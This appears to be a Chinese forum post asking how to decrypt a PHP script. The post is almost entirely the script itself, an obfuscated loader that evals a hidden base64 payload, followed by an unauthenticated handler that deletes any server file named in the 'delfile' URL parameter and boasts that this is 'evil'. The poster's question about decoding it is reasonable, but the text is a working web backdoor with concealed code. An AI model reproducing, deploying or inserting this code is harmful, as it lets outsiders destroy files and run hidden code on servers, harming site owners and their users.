求解密解决方法

$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};eval($O00O0O("JE8wTzAwMD0iQ2JRaWtVbUd1c1ROWG5Bd3loWUlyb2xwTVBPU2RIdEZ6YVZMV0R2ZnFaSmVnS0VqeFJjQkRtdGhaVHhncmRWcU9Gald1cGF3Sm5VTWtRZml5SFJHY2VTb1hZSWxOdnNLUEJFQXpMQ2JRWTlXZUhqcUR4OWhPM3EwYU9zMEJEWjdZdE1NdmhwVW1PYjBLaVBaTzB5R1NHZEZ2Z1NkdnhVZHZpeXlCaVpxREZkcUR4U0FlZzhQc3VDN1l0TTlZdE1VbUhxVVl0TTdZdE1NdmhQcHZ4VWR2UzlVS2dVY3lIa25zRzlITFNMbXMyTFVtZ3ZNbWdURk9pWk1ZdG5QS1cwQndnTE12aVBoNU1lSDVvcjI1b2hxNWUyYTV2dW53S1h3bmZ4dk1maTRBS2k2cGh3TWZXMEJ3SDBxRHhTZEMyVHFEaGI3WXRuWnZ4VWR2aWo5c0c5SExTTG1zMkxVbWd2TW1nVEZPVmRxRHhVeHdEUHB5WDVkZVg1SkJETHhlWHpVQmlacURoalBLVzBCd0RiVWEycEl3RFBGNUpCcDVNdXM1YWhQNnZ4WndpQ3JzZ3ZNbWdUcnN1SHhGYVFNeHZZWnJ3M1VNcy9VWkJDcHN1WjdZdG5Qd0gwcUR4U2RDMlRxRGhqUEtXMEJ3RGJVYTJwSXdEUEY1bmh0NWFObDVhaFA2dnhad2lDcnNndk1tZ1Ryc3VITVBOSnhQbW1VWkJDcDV2aDc1dmg3d2lDTWZXMEJ3RGI5WXRuUHdIMHFERjBxREE4K1l0bjhtWFMwYWlibnlITFdvWFN6eVhVMlFpc1ltMjUwdlg1MG9TTDVDZ1Rod2dxSW1GTFVtRnQ5d0ZMVUtIdEllSExSbVlkUGEycHBDRnFVeVkxMXlnYVJmRHdQb2M0cURBVy9DZ3BXWXRNTXZoUHB2WDFXeUhabnNHOVlWMDlvaVRTbXMzU2N2T3dGT2laTXdIZHFEaExyYVgxVVFpTGx0MDlRaTBVR1h1eTFDMlN1czEwN1l0TU1teHFkeVhMVXdEeVphaDVNbXhrckNncFdzY2RxRGhMQW0yNDltT1VjQ1h6bGEyOXJteFNBeURQaHNncElDM3Rob0R3WnlPcVVDaHdkd2hMV2FPcWN5Mjl1dkR3TW0zd1B2Z1VVQkRseFU2WXhkNU9uSTU3eEFOT3hGdzNVaE5IVXhlUEZCVmRxRHgxNUMzR2RPM3FVbWdTQXlHOVphaFBadmd3ZHNncUltaFo3WXRuWnZnR0phWFpQUWliUktPcXptRzl6eVhTdUtpUGhUMFNrTFRxVHdEblBMVXNRVmliMUMyU3V3R3l3TFNzR3dnNXBtWFQ5c3VMcmFYMVVzdXdNZlcwQnNIR3plZ0dJUWliUktPcXptRzl4dk9MQWVHOXBDRnNwS2lQWnZnR0phWFpNZlcwQm91L3hBTkFuQXZqcURQMEJvdS94QU5BbkF2anFEeFV4d0RQWkNPR25hWDltczJxSW1GdEZPVlc5c0hHemVnR0lYdXkweVhVTmVYR3JzMTBKcURVN1l0TVVhMnBJd0RDUFFndklDeDBQd2dHQXlnVUltQTBoQ09iZHlPcWx2ZzhyQ2dwV1EyR0F5Z1VJbUExekNpdjBLT2JVUVZFaHdnMVV5Z3BJdlkwaENnOWN5RHcrWXRuUHdEalB3RGpQd0dHTDZvaXg1YSszUWdVckNIUzB3SEw1Q2dUOXdGTFVLSHRod2c1cG1YVDl3Rkd6ZWdHSW1YRWh3SHZwbUhTVVFpd2h3ZzFwS2d6VW14eTBlWTBoa0FqaG9jNDhhRndQb2M0cURoalB3RGpQd0RiTFRLWElwcktQUFZ6TW1GYjF5RGIwS09iVVFpc1dhT3FjeTI5dXZEd1BteEdSdlYwaENPR1JlWDFwd2hiMmFYejF2VjBod2hiUmFPcGR2WDVGeWdQOXdBRTJ3aDgrd1l6aENoaklRUDBCd0RqUHdEalB3WXpNbUZiMXlEYjBLT2JVUWlzY3lYc1JlT3Rod2c1cG1YVDl3RnExYXgxTXlEd1B5eEdkeVhUOXdyS3ZyK1g5VWl3UEMzTDVtZ1Q5d0Z5TXZITG5mQXd6a0hiNHdBNHFEaGpQd0RqUHdEajhvMnZJQ3gwK3NjZHFERjBxRHhTZEMyVHFERmRxRGhMV3ZYVVVRaUx6Q1hwcG0xZEZ5SFNNZXhVcG1oeXlCY1Q3WXRNVWEycEl3RGx4UE5BeEF3c0w2YVhxNmVCeTVvaDZRZ3ZJbUZ0UGEyOWRtM3c5d0ZzVXZEdytRSHEwQ3g5cnZjNEZvaExXdlhVVW9oQzhvM3EwQ3g5cnZjNDhvMnZJbUZ0KzVvaE5vZnhHQUt4aEZLWDNkcmU3bmlFRmZXMEJsdDBCd0RqUHdEalB3SDBxRGhqUHdEalB3RGJVbUhxVVl0blB3RGpQd0RqUEtXMEJ3RGpQd0RqUHdnU0FlZzhQcytlRE5meENQZmh4UEtLdnIreHZwclh0QXJlc0FLaFlJS0s3TStLN0pLZVZBS2k5RkRFRmZXMEJ3RGpQd0RqUHdIMHFEQTgrIjtldmFsKCc/PicuJE8wME8wTygkTzBPTzAwKCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwKjIpLCRPTzBPMDAoJE8wTzAwMCwkT08wMDAwLCRPTzAwMDApLCRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));

?>

ob_start();

if(empty($_GET['delfile']))

{

echo '';

}

else

{

if(!file_exists($_GET['delfile']))

 {

 die("文件不存在!删除不了");

 }

else

 {

$file =$_GET['delfile'];

if (!unlink($file))

  {

  echo ('没有删除!'.$file.'!权限不够吧!');

  }

else

  {

  echo ('成功删除!'.$file.'!邪恶吧!嘻嘻!');

  }

  }

}

?>